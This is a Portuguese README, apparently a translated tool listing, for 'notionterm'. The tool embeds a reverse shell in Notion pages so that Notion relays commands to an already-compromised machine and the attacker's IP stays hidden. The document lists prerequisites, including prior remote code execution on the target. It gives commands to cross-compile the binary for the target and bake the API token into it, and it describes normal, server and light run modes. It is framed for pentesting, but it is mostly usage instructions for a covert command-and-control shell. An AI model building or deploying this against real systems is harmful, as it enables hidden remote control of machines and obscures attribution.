`notionterm`

Incorporar reverse shell em páginas do Notion.
Hackeie enquanto toma notas

demo

PARA ➕:

Ocultar IP do atacante em reverse shell (Sem interação direta entre atacante e máquina alvo. O Notion é usado como proxy hospedando o reverse shell)
Demonstração/Inserção rápida de prova dentro do relatório
Reverse shell altamente disponível e compartilhável (desktop, navegador, mobile)
Shell remota criptografada e autenticada

NÃO PARA ➖:

Sessão de shell interativa e longa (veja tacos para isso)

Porquê? 🤔

O foco foi fazer algo divertido, mas ainda utilizável, embora não seja a solução definitiva para reverse shell no arsenal do pentester.

Como? 🤷‍♂️

Basta usar o Notion normalmente e executar notionterm no alvo.

Requisitos 🖊️

Software Notion e chave API
Comunicação HTTP permitida do alvo para o domínio do Notion
RCE prévio no alvo

vagamente inspirado pela grande ideia do OffensiveNotion e do notionion!

TL;DR

Aprender comandos e flags é muito chato: Use wrap-notionterm.sh

Quickstart

🏗️ Configuração

Crie uma página e conceda à chave da API de integração as permissões de escrita na página.
Compile notionterm e transfira para a máquina alvo (veja Compilação)

👟 Executar

Há 3 maneiras principais de executar notionterm:

Modo "normal"
Obter terminal, parar/continuar, etc...


notionterm [flags]

Inicie o shell com o widget de botão: mude para ON, faça suas tarefas de reverse shell, mude para OFF para pausar, mude para ON para retomar, etc...

Modo "servidor"
Facilita a incorporação do notionterm em qualquer página


notionterm --server [flags]

Inicie uma sessão de shell em qualquer página criando um bloco de incorporação com URL contendo o ID da página (CTRL+L para obtê-lo): https://[TARGET_URL]/notionterm?url=[NOTION_PAGE_ID].

Modo light
Realiza apenas tráfego HTTP do alvo → notion


notionterm light [flags]

Compilação

Como o notionterm é destinado a ser executado na máquina alvo, deve ser compilado para se adequar a ela.

Portanto, defina a variável de ambiente para atender ao requisito do alvo:

GOOS=[windows/linux/darwin]

Compilação simples

git clone https://github.com/ariary/notionterm.git && cd notionterm
GOOS=$GOOS go build notionterm.go

Você precisará definir a chave API e a URL da página do Notion usando variáveis de ambiente (NOTION_TOKEN & NOTION_PAGE_URL) ou flags (--token & --page-url)

Compilação "tudo incluído"

Incorpore diretamente o token da API de integração do Notion e a URL da página do Notion no binário. ⚠️ Qualquer pessoa com acesso ao binário pode recuperar o token. Por razões de segurança, não o compartilhe e remova após o uso.

Defina as variáveis de ambiente correspondentes:

export NOTION_PAGE_URL=[NOTION_PAGE_URL]
export NOTION_TOKEN=[INTEGRATION_NOTION_TOKEN]

E compile:

git clone https://github.com/ariary/notionterm.git && cd notionterm
./static-build.sh $NOTION_PAGE_URL $NOTION_TOKEN $GOOS

notionterm

Mais Populares